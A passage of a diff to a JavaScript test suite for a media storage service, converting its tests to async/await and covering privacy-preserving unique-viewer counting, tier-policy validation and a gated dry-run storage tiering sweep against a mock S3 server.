size, other bytes-- store.set(key, body);-- res.writeHead(200, { ETag: '"e"' });-- return res.end();-- }-- if (req.method === 'DELETE') { if (fault.keepOnDelete !== bucket) store.delete(key); res.writeHead(204); return res.end(); }-- res.writeHead(405); res.end();++ return Buffer.concat(out);++ }++ const s3 = http.createServer((req, res) => {++ const chunks = [];++ req.on('data', (c) => chunks.push(c));++ req.on('end', () => {++ const u = new URL(req.url, 'http://x');++ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');++ const key = rest.join('/');++ const store = buckets[bucket];++ if (!store) { res.writeHead(404); return res.end(); }++ if (!key && req.method === 'HEAD') { res.writeHead(200); return res.end(); }++ const obj = store.get(key);++ if (req.method === 'HEAD' || req.method === 'GET') {++ if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }++ res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'application/octet-stream' });++ return res.end(req.method === 'GET' ? obj : undefined);++ }++ if (req.method === 'PUT') {++ if (fault.refusePut === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }++ let body = Buffer.concat(chunks);++ if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);++ if (fault.corruptPut === bucket) { body = Buffer.from(body); body[0] ^= 0xff; } // same size, other bytes++ store.set(key, body);++ res.writeHead(200, { ETag: '"e"' });++ return res.end();++ }++ if (req.method === 'DELETE') { if (fault.keepOnDelete !== bucket) store.delete(key); res.writeHead(204); return res.end(); }++ res.writeHead(405); res.end();++ });});--});--const BROWSER = 'Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0';--const SAFARI = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15';++ const BROWSER = 'Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0';++ const SAFARI = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15';--(async () => {-- await new Promise((r) => s3.listen(0, '127.0.0.1', r));-- const endpoint = `http://127.0.0.1:${s3.address().port}`;-- Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),-- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',-- MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',-- AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',-- });-- const db = require('../server/db/database');-- const model = require('../server/objects/model');-- const storage = require('../server/vod/vod-storage');-- const popularity = require('../server/objects/popularity');-- const policy = require('../server/objects/tier-policy');-- const tiering = require('../server/objects/tiering');-- db.upsertApp({ app_id: 'live', api_key: 'live-key-objtier' });-- db.upsertApp({ app_id: 'games', api_key: 'games-key-objtier' });-- // Keep the VOD sweep's disk-pressure drain out of this test (whatever this machine's disk looks like).-- await storage.setSettings({ hotDiskPressurePct: 100, criticalDiskPct: 100, minFreeGb: 0 }, { reason: 'test: no pressure drain' });++ (async () => {++ await new Promise((r) => s3.listen(0, '127.0.0.1', r));++ const endpoint = `http://127.0.0.1:${s3.address().port}`;++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),++ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',++ MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',++ AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',++ });++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const storage = require('../server/vod/vod-storage');++ // The revisioned tier policies load once the database is open (server/index.js does this at boot).++ await storage.tierConfig.init(storage.DEFAULTS);++ await require('../server/objects/tier-policy').init();++ const popularity = require('../server/objects/popularity');++ const policy = require('../server/objects/tier-policy');++ const tiering = require('../server/objects/tiering');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key-objtier' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key-objtier' });++ // Keep the VOD sweep's disk-pressure drain out of this test (whatever this machine's disk looks like).++ await storage.setSettings({ hotDiskPressurePct: 100, criticalDiskPct: 100, minFreeGb: 0 }, { reason: 'test: no pressure drain' });-- const today = popularity.dayOf(Date.now());-- const addObject = ({ app = 'live', size = 4096, mime = 'application/octet-stream', verified = true, hash = true, canonical = 'local' } = {}) => {-- const bytes = crypto.randomBytes(size);-- const sum = sha256(bytes);-- const id = model.createObject({ app_id: app, kind: 'file', visibility: 'public', lifecycle_status: 'ready', mime_type: mime, size_bytes: size,-- content_hash: hash ? sum : null, canonical_provider: canonical, metadata: { filename: 'x.bin' } });-- let file = null;-- if (canonical === 'local') {-- file = path.join(process.env.OBJECTS_PATH, app, id);-- fs.mkdirSync(path.dirname(file), { recursive: true });-- fs.writeFileSync(file, bytes);-- model.updateObject(id, { canonical_key: file });-- model.upsertLocation(id, { provider: 'local', key: file, state: verified ? 'present' : 'pending', size_bytes: size, checksum: hash ? sum : null, verified });-- } else {-- const key = `objects/${app}/${id}`;-- buckets['b2-bucket'].set(key, bytes);-- model.updateObject(id, { canonical_key: key });-- model.upsertLocation(id, { provider: 'b2', bucket: 'b2-bucket', key, state: 'present', size_bytes: size, verified: true });-- }-- return { id, bytes, sum, file, app };-- };-- const setViews = (id, entries) => {-- db.run('DELETE FROM media_object_views_daily WHERE object_id = ?', [id]);-- for (const [offset, n] of entries) {-- db.run('INSERT INTO media_object_views_daily (object_id, day, unique_viewers, last_viewed_at) VALUES (?, ?, ?, ?)',-- [id, popularity.addDays(today, offset), n, `${popularity.addDays(today, offset)}T12:00:00.000Z`]);-- }-- };-- const r2Row = (id) => db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'r2'", [id]);-- const ageR2 = (id, days) => db.run("UPDATE media_locations SET created_at = datetime('now', ?) WHERE object_id = ? AND provider = 'r2'", [`-${days} days`, id]);-- const decisions = (id) => db.all('SELECT * FROM media_object_tier_decisions WHERE object_id = ? ORDER BY id', [id]);-- const last = (id) => { const d = decisions(id); return d[d.length - 1]; };-- const fake = (ip, headers = {}, method = 'GET') => ({ method, ip, path: '/o/x', url: '/o/x', headers: { 'user-agent': BROWSER, ...headers } });++ const today = popularity.dayOf(Date.now());++ const addObject = async ({ app = 'live', size = 4096, mime = 'application/octet-stream', verified = true, hash = true, canonical = 'local' } = {}) => {++ const bytes = crypto.randomBytes(size);++ const sum = sha256(bytes);++ const id = await model.createObject({ app_id: app, kind: 'file', visibility: 'public', lifecycle_status: 'ready', mime_type: mime, size_bytes: size,++ content_hash: hash ? sum : null, canonical_provider: canonical, metadata: { filename: 'x.bin' } });++ let file = null;++ if (canonical === 'local') {++ file = path.join(process.env.OBJECTS_PATH, app, id);++ fs.mkdirSync(path.dirname(file), { recursive: true });++ fs.writeFileSync(file, bytes);++ await model.updateObject(id, { canonical_key: file });++ await model.upsertLocation(id, { provider: 'local', key: file, state: verified ? 'present' : 'pending', size_bytes: size, checksum: hash ? sum : null, verified });++ } else {++ const key = `objects/${app}/${id}`;++ buckets['b2-bucket'].set(key, bytes);++ await model.updateObject(id, { canonical_key: key });++ await model.upsertLocation(id, { provider: 'b2', bucket: 'b2-bucket', key, state: 'present', size_bytes: size, verified: true });++ }++ return { id, bytes, sum, file, app };++ };++ const setViews = async (id, entries) => {++ await db.run('DELETE FROM media_object_views_daily WHERE object_id = ?', [id]);++ for (const [offset, n] of entries) {++ await db.run('INSERT INTO media_object_views_daily (object_id, day, unique_viewers, last_viewed_at) VALUES (?, ?, ?, ?)',++ [id, popularity.addDays(today, offset), n, `${popularity.addDays(today, offset)}T12:00:00.000Z`]);++ }++ };++ const r2Row = async (id) => await db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'r2'", [id]);++ const ageR2 = async (id, days) => await db.run("UPDATE media_locations SET created_at = datetime('now', ?) WHERE object_id = ? AND provider = 'r2'", [`-${days} days`, id]);++ const decisions = async (id) => await db.all('SELECT * FROM media_object_tier_decisions WHERE object_id = ? ORDER BY id', [id]);++ const last = async (id) => { const d = await decisions(id); return d[d.length - 1]; };++ const fake = (ip, headers = {}, method = 'GET') => ({ method, ip, path: '/o/x', url: '/o/x', headers: { 'user-agent': BROWSER, ...headers } });-- // ── 1. Unique viewers per object and day, with no IP address or subject id stored ──-- const seen = addObject();-- const rec = (ip, headers, method) => popularity.record(model.getObject(seen.id), fake(ip, headers, method));-- assert.deepStrictEqual(rec('203.0.113.5'), { counted: true, reason: null });-- assert.strictEqual(rec('203.0.113.5', { 'user-agent': SAFARI }).reason, 'seen', 'one network is one viewer, whatever its user agent');-- popularity._reset(); // a restart: the same day's salt comes back from the database-- assert.strictEqual(rec('203.0.113.5').reason, 'seen', 'and still once after a restart');-- assert.strictEqual(rec('198.51.100.7').counted, true);-- assert.strictEqual(rec('::ffff:198.51.100.7').reason, 'seen', 'an IPv4-mapped address is the IPv4 address');-- assert.strictEqual(rec('2001:db8:1:2::10').counted, true);-- assert.strictEqual(rec('2001:db8:1:2:aaaa:bbbb:cccc:1').reason, 'seen', 'an IPv6 /64 is one viewer');-- assert.strictEqual(rec('2001:db8:1:3::10').counted, true);-- assert.strictEqual(rec('192.0.2.10', { range: 'bytes=5000-' }).reason, 'range', 'a seek is not a view');-- assert.strictEqual(rec('192.0.2.10', { range: 'bytes=0-' }).counted, true);-- assert.strictEqual(rec('192.0.2.11', {}, 'HEAD').reason, 'method');-- assert.strictEqual(rec('192.0.2.12', { 'sec-gpc': '1' }).reason, 'opted_out');-- assert.strictEqual(rec('192.0.2.13', { dnt: '1' }).reason, 'opted_out');-- assert.strictEqual(rec('192.0.2.14', { 'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }).reason, 'bot');-- assert.strictEqual(rec('192.0.2.15', { 'user-agent': '' }).reason, 'bot');-- const projected = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', legacy_ref: 'legacy:live:file:abc' });-- assert.strictEqual(popularity.record(model.getObject(projected), fake('192.0.2.16')).reason, 'not_native');-- const todayRow = db.get('SELECT * FROM media_object_views_daily WHERE object_id = ? AND day = ?', [seen.id, today]);-- assert.strictEqual(todayRow.unique_viewers, 5);-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_object_viewer_days WHERE object_id = ?', [seen.id]).n, 5, 'an opted-out, bot, HEAD or seek request makes no hash at all');-- const stored = JSON.stringify([db.all('SELECT * FROM media_object_viewer_days'), db.all('SELECT * FROM media_object_views_daily'), db.all('SELECT day FROM media_object_view_salts')]);-- for (const ip of ['203.0.113.5', '198.51.100.7', '2001:db8', '192.0.2.10', 'usr_']) assert.ok(!stored.includes(ip), `nothing stored names ${ip}`);-- for (const v of db.all('SELECT viewer FROM media_object_viewer_days').map((r) => r.viewer)) {-- assert.ok(/^[0-9a-f]{16}$/.test(v));-- assert.notStrictEqual(v, sha256('203.0.113.5').slice(0, 16), 'keyed by the salt of the day, not a plain hash of the address');-- }-- assert.deepStrictEqual(['10.1.2.3', '::ffff:10.1.2.3', '2001:DB8::1', '2001:db8:0:0:ffff::9', 'fe80::1%eth0'].map(popularity.networkOf),-- ['10.1.2.3', '10.1.2.3', '2001:db8:0:0::/64', '2001:db8:0:0::/64', 'fe80:0:0:0::/64']);-- console.log('✅ a viewer counts once per object and UTC day (one network, IPv6 by /64), never a seek, HEAD, bot or opted-out request, and no address is stored');++ // ── 1. Unique viewers per object and day, with no IP address or subject id stored ──++ const seen = await addObject();++ const rec = async (ip, headers, method) => await popularity.record(await model.getObject(seen.id), fake(ip, headers, method));++ assert.deepStrictEqual(await rec('203.0.113.5'), { counted: true, reason: null });++ assert.strictEqual((await rec('203.0.113.5', { 'user-agent': SAFARI })).reason, 'seen', 'one network is one viewer, whatever its user agent');++ popularity._reset(); // a restart: the same day's salt comes back from the database++ assert.strictEqual((await rec('203.0.113.5')).reason, 'seen', 'and still once after a restart');++ assert.strictEqual((await rec('198.51.100.7')).counted, true);++ assert.strictEqual((await rec('::ffff:198.51.100.7')).reason, 'seen', 'an IPv4-mapped address is the IPv4 address');++ assert.strictEqual((await rec('2001:db8:1:2::10')).counted, true);++ assert.strictEqual((await rec('2001:db8:1:2:aaaa:bbbb:cccc:1')).reason, 'seen', 'an IPv6 /64 is one viewer');++ assert.strictEqual((await rec('2001:db8:1:3::10')).counted, true);++ assert.strictEqual((await rec('192.0.2.10', { range: 'bytes=5000-' })).reason, 'range', 'a seek is not a view');++ assert.strictEqual((await rec('192.0.2.10', { range: 'bytes=0-' })).counted, true);++ assert.strictEqual((await rec('192.0.2.11', {}, 'HEAD')).reason, 'method');++ assert.strictEqual((await rec('192.0.2.12', { 'sec-gpc': '1' })).reason, 'opted_out');++ assert.strictEqual((await rec('192.0.2.13', { dnt: '1' })).reason, 'opted_out');++ assert.strictEqual((await rec('192.0.2.14', { 'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' })).reason, 'bot');++ assert.strictEqual((await rec('192.0.2.15', { 'user-agent': '' })).reason, 'bot');++ const projected = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', legacy_ref: 'legacy:live:file:abc' });++ assert.strictEqual((await popularity.record(await model.getObject(projected), fake('192.0.2.16'))).reason, 'not_native');++ const todayRow = await db.get('SELECT * FROM media_object_views_daily WHERE object_id = ? AND day = ?', [seen.id, today]);++ assert.strictEqual(todayRow.unique_viewers, 5);++ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_object_viewer_days WHERE object_id = ?', [seen.id])).n, 5, 'an opted-out, bot, HEAD or seek request makes no hash at all');++ const stored = JSON.stringify([await db.all('SELECT * FROM media_object_viewer_days'), await db.all('SELECT * FROM media_object_views_daily'), await db.all('SELECT day FROM media_object_view_salts')]);++ for (const ip of ['203.0.113.5', '198.51.100.7', '2001:db8', '192.0.2.10', 'usr_']) assert.ok(!stored.includes(ip), `nothing stored names ${ip}`);++ for (const v of (await db.all('SELECT viewer FROM media_object_viewer_days')).map((r) => r.viewer)) {++ assert.ok(/^[0-9a-f]{16}$/.test(v));++ assert.notStrictEqual(v, sha256('203.0.113.5').slice(0, 16), 'keyed by the salt of the day, not a plain hash of the address');++ }++ assert.deepStrictEqual(['10.1.2.3', '::ffff:10.1.2.3', '2001:DB8::1', '2001:db8:0:0:ffff::9', 'fe80::1%eth0'].map(popularity.networkOf),++ ['10.1.2.3', '10.1.2.3', '2001:db8:0:0::/64', '2001:db8:0:0::/64', 'fe80:0:0:0::/64']);++ console.log('✅ a viewer counts once per object and UTC day (one network, IPv6 by /64), never a seek, HEAD, bot or opted-out request, and no address is stored');-- // ── 2. Hashes and salt die with their day; counts roll into a 7-day window, kept 30 days ──-- const roll = addObject();-- const yesterday = popularity.addDays(today, -1);-- assert.strictEqual(popularity.record(model.getObject(roll.id), fake('203.0.113.9'), { now: Date.parse(`${yesterday}T12:00:00Z`) }).counted, true);-- const oldHash = db.get('SELECT viewer FROM media_object_viewer_days WHERE object_id = ? AND day = ?', [roll.id, yesterday]).viewer;-- assert.ok(db.get('SELECT 1 AS x FROM media_object_view_salts WHERE day = ?', [yesterday]));-- assert.strictEqual(popularity.record(model.getObject(roll.id), fake('203.0.113.9')).counted, true, 'the same network on the next day is a new viewer-day');-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_object_viewer_days WHERE day < ?', [today]).n, 0, 'the first view of a day deletes the finished days\' hashes');-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_object_view_salts WHERE day < ?', [today]).n, 0, '...and their salts');-- assert.notStrictEqual(db.get('SELECT viewer FROM media_object_viewer_days WHERE object_id = ? AND day = ?', [roll.id, today]).viewer, oldHash, 'a new salt every day: days cannot be linked');-- assert.strictEqual(db.get('SELECT unique_viewers FROM media_object_views_daily WHERE object_id = ? AND day = ?', [roll.id, yesterday]).unique_viewers, 1, 'the count stays');-- const rs = popularity.stats({ ids: [roll.id] }).get(roll.id);-- assert.deepStrictEqual([rs.unique_viewers, rs.days_viewed, rs.last_viewed_day], [2, 2, today], 'two viewer-days');-- const win = addObject();-- setViews(win.id, [[-8, 100], [-6, 200], [0, 150]]);-- assert.strictEqual(popularity.stats({ ids: [win.id] }).get(win.id).unique_viewers, 350, 'the last 7 UTC days, today included');-- assert.strictEqual(popularity.stats({ ids: [win.id], days: 9 }).get(win.id).unique_viewers, 450);-- db.run('INSERT INTO media_object_views_daily (object_id, day, unique_viewers) VALUES (?, ?, 1), (?, ?, 1)', [win.id, popularity.addDays(today, -30), win.id, popularity.addDays(today, -31)]);-- const rot = popularity.rotate();-- assert.strictEqual(rot.counts, 1);-- assert.deepStrictEqual(db.all('SELECT day FROM media_object_views_daily WHERE object_id = ? ORDER BY day', [win.id]).map((r) => r.day),-- [popularity.addDays(today, -30), popularity.addDays(today, -8), popularity.addDays(today, -6), today], 'daily counts are kept 30 days');-- console.log('✅ a finished day\'s hashes and salt are deleted (counts stay); the 7-day window sums the daily counts; counts go after 30 days');++ // ── 2. Hashes and salt die with their day; counts roll into a 7-day window, kept 30 days ──++ const roll = await addObject();++ const yesterday = popularity.addDays(today, -1);++ assert.strictEqual((await popularity.record(await model.getObject(roll.id), fake('203.0.113.9'), { now: Date.parse(`${yesterday}T12:00:00Z`) })).counted, true);++ const oldHash = (await db.get('SELECT viewer FROM media_object_viewer_days WHERE object_id = ? AND day = ?', [roll.id, yesterday])).viewer;++ assert.ok(await db.get('SELECT 1 AS x FROM media_object_view_salts WHERE day = ?', [yesterday]));++ assert.strictEqual((await popularity.record(await model.getObject(roll.id), fake('203.0.113.9'))).counted, true, 'the same network on the next day is a new viewer-day');++ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_object_viewer_days WHERE day < ?', [today])).n, 0, 'the first view of a day deletes the finished days\' hashes');++ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_object_view_salts WHERE day < ?', [today])).n, 0, '...and their salts');++ assert.notStrictEqual((await db.get('SELECT viewer FROM media_object_viewer_days WHERE object_id = ? AND day = ?', [roll.id, today])).viewer, oldHash, 'a new salt every day: days cannot be linked');++ assert.strictEqual((await db.get('SELECT unique_viewers FROM media_object_views_daily WHERE object_id = ? AND day = ?', [roll.id, yesterday])).unique_viewers, 1, 'the count stays');++ const rs = (await popularity.stats({ ids: [roll.id] })).get(roll.id);++ assert.deepStrictEqual([rs.unique_viewers, rs.days_viewed, rs.last_viewed_day], [2, 2, today], 'two viewer-days');++ const win = await addObject();++ await setViews(win.id, [[-8, 100], [-6, 200], [0, 150]]);++ assert.strictEqual((await popularity.stats({ ids: [win.id] })).get(win.id).unique_viewers, 350, 'the last 7 UTC days, today included');++ assert.strictEqual((await popularity.stats({ ids: [win.id], days: 9 })).get(win.id).unique_viewers, 450);++ await db.run('INSERT INTO media_object_views_daily (object_id, day, unique_viewers) VALUES (?, ?, 1), (?, ?, 1)', [win.id, popularity.addDays(today, -30), win.id, popularity.addDays(today, -31)]);++ const rot = await popularity.rotate();++ assert.strictEqual(rot.counts, 1);++ assert.deepStrictEqual((await db.all('SELECT day FROM media_object_views_daily WHERE object_id = ? ORDER BY day', [win.id])).map((r) => r.day),++ [popularity.addDays(today, -30), popularity.addDays(today, -8), popularity.addDays(today, -6), today], 'daily counts are kept 30 days');++ console.log('✅ a finished day\'s hashes and salt are deleted (counts stay); the 7-day window sums the daily counts; counts go after 30 days');-- // ── 3. The policy: revisioned, validated, the gate off by default ──-- assert.deepStrictEqual(policy.DEFAULTS, { active: false, promoteMinUniqueViewers7d: 500, promoteRecentAccessDays: 3, promoteMinSizeMb: 16,-- promoteMaxSizeMb: 4096, maxPromotionsPerSweep: 3, demoteIdleDays: 14, maxDemotionsPerSweep: 10 });-- assert.strictEqual(policy.settings().active, false);-- const rev0 = policy.get().revision();-- for (const [updates, why] of [-- [{ promoteMinSizeMb: 10, promoteMaxSizeMb: 5 }, /promoteMinSizeMb must be below promoteMaxSizeMb/],-- [{ demoteIdleDays: 3 }, /demoteIdleDays must be above promoteRecentAccessDays/],-- [{ promoteMinUniqueViewers7d: 0 }, /must be >= 1/],-- [{ active: 'yes' }, /must be boolean/],-- [{ maxPromotionsPerSweep: 1.5 }, /must be integer/],-- [{ demoteIdleDays: 31 }, /must be <= 30/],-- [{ surprise: 1 }, /not a known key/],-- ]) {-- await assert.rejects(policy.set(updates, { reason: 'test' }), (e) => e.status === 422 && e.code === 'config.invalid' && why.test(e.message), JSON.stringify(updates));-- }-- assert.strictEqual(policy.get().revision(), rev0, 'a refused change changes nothing');-- await policy.set({ promoteMinSizeMb: 0.001, promoteMaxSizeMb: 1 }, { actor: { type: 'service', id: 'live' }, reason: 'test: small objects' });-- const th = policy.thresholds();-- assert.deepStrictEqual([th.promoteMinSizeMb.source, th.promoteMinUniqueViewers7d.source, th.active.source], ['setting', 'default', 'default']);-- assert.deepStrictEqual(th.promoteMinUniqueViewers7d, { value: 500, default: 500, source: 'default' });-- console.log('✅ media.object_tier: gate off and 500 viewers by default; types, ranges, key order and unknown keys refused (422), nothing changed');++ // ── 3. The policy: revisioned, validated, the gate off by default ──++ assert.deepStrictEqual(policy.DEFAULTS, { active: false, promoteMinUniqueViewers7d: 500, promoteRecentAccessDays: 3, promoteMinSizeMb: 16,++ promoteMaxSizeMb: 4096, maxPromotionsPerSweep: 3, demoteIdleDays: 14, maxDemotionsPerSweep: 10 });++ assert.strictEqual(policy.settings().active, false);++ const rev0 = policy.get().revision();++ for (const [updates, why] of [++ [{ promoteMinSizeMb: 10, promoteMaxSizeMb: 5 }, /promoteMinSizeMb must be below promoteMaxSizeMb/],++ [{ demoteIdleDays: 3 }, /demoteIdleDays must be above promoteRecentAccessDays/],++ [{ promoteMinUniqueViewers7d: 0 }, /must be >= 1/],++ [{ active: 'yes' }, /must be boolean/],++ [{ maxPromotionsPerSweep: 1.5 }, /must be integer/],++ [{ demoteIdleDays: 31 }, /must be <= 30/],++ [{ surprise: 1 }, /not a known key/],++ ]) {++ await assert.rejects(policy.set(updates, { reason: 'test' }), (e) => e.status === 422 && e.code === 'config.invalid' && why.test(e.message), JSON.stringify(updates));++ }++ assert.strictEqual(policy.get().revision(), rev0, 'a refused change changes nothing');++ await policy.set({ promoteMinSizeMb: 0.001, promoteMaxSizeMb: 1 }, { actor: { type: 'service', id: 'live' }, reason: 'test: small objects' });++ const th = policy.thresholds();++ assert.deepStrictEqual([th.promoteMinSizeMb.source, th.promoteMinUniqueViewers7d.source, th.active.source], ['setting', 'default', 'default']);++ assert.deepStrictEqual(th.promoteMinUniqueViewers7d, { value: 500, default: 500, source: 'default' });++ console.log('✅ media.object_tier: gate off and 500 viewers by default; types, ranges, key order and unknown keys refused (422), nothing changed');-- // ── 4. Gate off: the sweep moves nothing and records what it would do ──-- db.run('DELETE FROM media_object_views_daily');-- const pop = addObject();-- setViews(pop.id, [[0, 600]]);-- const cached = addObject(); // a copy in R2 from earlier, idle for a month-- buckets['r2-bucket'].set(`objects/live/${cached.id}`, cached.bytes);-- model.upsertLocation(cached.id, { provider: 'r2', bucket: 'r2-bucket', key: `objects/live/${cached.id}`, storage_class: 'cache', state: 'present', size_bytes: 4096, checksum: cached.sum, verified: true });-- ageR2(cached.id, 30);-- const r2Keys = buckets['r2-bucket'].size;-- let s = await tiering.runSweep();-- assert.deepStrictEqual([s.gate, s.promoted, s.demoted, s.would_promote, s.would_demote], [false, 0, 0, 1, 1], JSON.stringify(s));-- assert.strictEqual(buckets['r2-bucket'].size, r2Keys, 'nothing was copied or deleted');-- assert.ok(!r2Row(pop.id) && r2Row(cached.id));-- let d = last(pop.id);-- assert.deepStrictEqual([d.action, d.outcome, d.trigger, d.from_provider, d.to_provider], ['promote', 'dry_run', 'sweep', 'local', 'r2']);-- assert.ok(/^gate off \(active = false\): would promote: 600 unique viewers in 7 days >= promoteMinUniqueViewers7d 500/.test(d.reason), d.reason);-- const din = JSON.parse(d.inputs);-- assert.deepStrictEqual([din.unique_viewers_7d, din.last_viewed_day, din.gate_active, din.held, din.canonical.provider, din.canonical.checksum_matches], [600, today, false, false, 'local', true]);-- assert.deepStrictEqual(JSON.parse(d.thresholds).active, { value: false, source: 'default' });-- assert.deepStrictEqual([last(cached.id).action, last(cached.id).outcome], ['demote', 'dry_run']);-- s = await tiering.runSweep();-- assert.deepStrictEqual([s.would_promote, s.would_demote, s.repeats], [0, 0, 2], 'a repeated dry run is logged once a day');-- assert.strictEqual(decisions(pop.id).length, 1);-- const manual = await tiering.promote(pop.id, { reason: 'asked by hand' });-- assert.deepStrictEqual([manual.ok, manual.outcome], [false, 'dry_run'], 'the gate holds for a direct call too');-- assert.ok(!r2Row(pop.id));-- console.log('✅ gate off: dry_run decisions (with inputs and thresholds), once a day, and nothing moves, from the sweep or a direct call');++ // ── 4. Gate off: the sweep moves nothing and records what it would do ──++ await db.run('DELETE FROM media_object_views_daily');++ const pop = await addObject();++ await setViews(pop.id, [[0, 600]]);++ const cached = await addObject(); // a copy in R2 from earlier, idle for a month++ buckets['r2-bucket'].set(`objects/live/${cached.id}`, cached.bytes);++ await model.upsertLocation(cached.id, { provider: 'r2', bucket: 'r2-bucket', key: `objects/live/${cached.id}`, storage_class: 'cache', state: 'present', size_bytes: 4096, checksum: cached.sum, verified: true });++ await ageR2(cached.id, 30);++ const r2Keys = buckets['r2-bucket'].size;++ let s = await tiering.runSweep();++ assert.deepStrictEqual([s.gate, s.promoted, s.demoted, s.would_promote, s.would_demote], [false, 0, 0, 1, 1], JSON.stringify(s));++ assert.strictEqual(buckets['r2-bucket'].size, r2Keys, 'nothing was copied or deleted');++ assert.ok(!await r2Row(pop.id) && await r2Row(cached.id));++ let d = await last(pop.id);++ assert.deepStrictEqual([d.action, d.outcome, d.trigger, d.from_provider, d.to_provider], ['promote', 'dry_run', 'sweep', 'local', 'r2']);++ assert.ok(/^gate off \(active = false\): would promote: 600 unique viewers in 7 days >= promoteMinUniqueViewers7d 500/.test(d.reason), d.reason);++ const din = JSON.parse(d.inputs);++ assert.deepStrictEqual([din.unique_viewers_7d, din.last_viewed_day, din.gate_active, din.held, din.canonical.provider, din.canonical.checksum_matches], [600, today, false, false, 'local', true]);++ assert.deepStrictEqual(JSON.parse(d.thresholds).active, { value: false, source: 'default' });++ assert.deepStrictEqual([(await last(cached.id)).action, (await last(cached.id)).outcome], ['demote', 'dry_run']);++ s = await tiering.runSweep();++ assert.deepStrictEqual([s.would_promote, s.would_demote, s.repeats], [0, 0, 2], 'a repeated dry run is logged once a day');++ assert.strictEqual((await decisions(pop.id)).length, 1);++ const manual = await tiering.promote(pop.id, { reason: 'asked by hand' });++ assert.deepStrictEqual([manual.ok, manual.outcome], [false, 'dry_run'], 'the gate holds for a direct call too');++ assert.ok(!await r2Row(pop.id));++ console.log('✅ gate off: dry_run decisions (with inputs and thresholds), once a day, and nothing moves, from the sweep or a direct call');-- // ── 5. Thresholds: viewers, recency, window and size ──-- const few = addObject(); setViews(few.id, [[0, 499]]);-- const stale = addObject(); setViews(stale.id, [[-5, 900]]); // popular, but not viewed within 3 days-- const outside = addObject(); setViews(outside.id, [[-7, 450], [0, 100]]); // day -7 is outside the 7-day window-- const spread = addObject(); setViews(spread.id, [[-6, 250], [-3, 150], [0, 100]]);-- const tiny = addObject({ size: 512 }); setViews(tiny.id, [[0, 900]]); // under promoteMinSizeMb (0.001 MB)-- const huge = addObject({ size: 1100000 }); setViews(huge.id, [[0, 900]]); // over promoteMaxSizeMb (1 MB)-- const projectId = 'prj_01J8Z3Q4X5Y6Z7A8B9C0D1E2F3';-- db.ensureProjectTenant(projectId, 'sandbox', 0);-- const sandboxed = addObject({ app: `${projectId}-sandbox` }); setViews(sandboxed.id, [[0, 900]]);-- const ids = tiering.promotionCandidates(policy.settings()).map((c) => c.id);-- assert.ok(ids.includes(pop.id) && ids.includes(spread.id), 'at 500 or more within the window');-- for (const o of [few, stale, outside, tiny, huge]) assert.ok(!ids.includes(o.id), `not a candidate: ${o.id}`);-- s = await tiering.runSweep();-- assert.ok(!decisions(sandboxed.id).length, 'a sandbox object is never considered');-- assert.strictEqual(tiering.candidates().find((c) => c.object_id === sandboxed.id).blocked_by, 'developer sandbox objects are never tiered');-- assert.strictEqual(last(spread.id).outcome, 'dry_run');-- for (const o of [few, stale, outside, tiny, huge]) assert.strictEqual(decisions(o.id).length, 0);-- console.log('✅ thresholds: 7-day viewers (sum 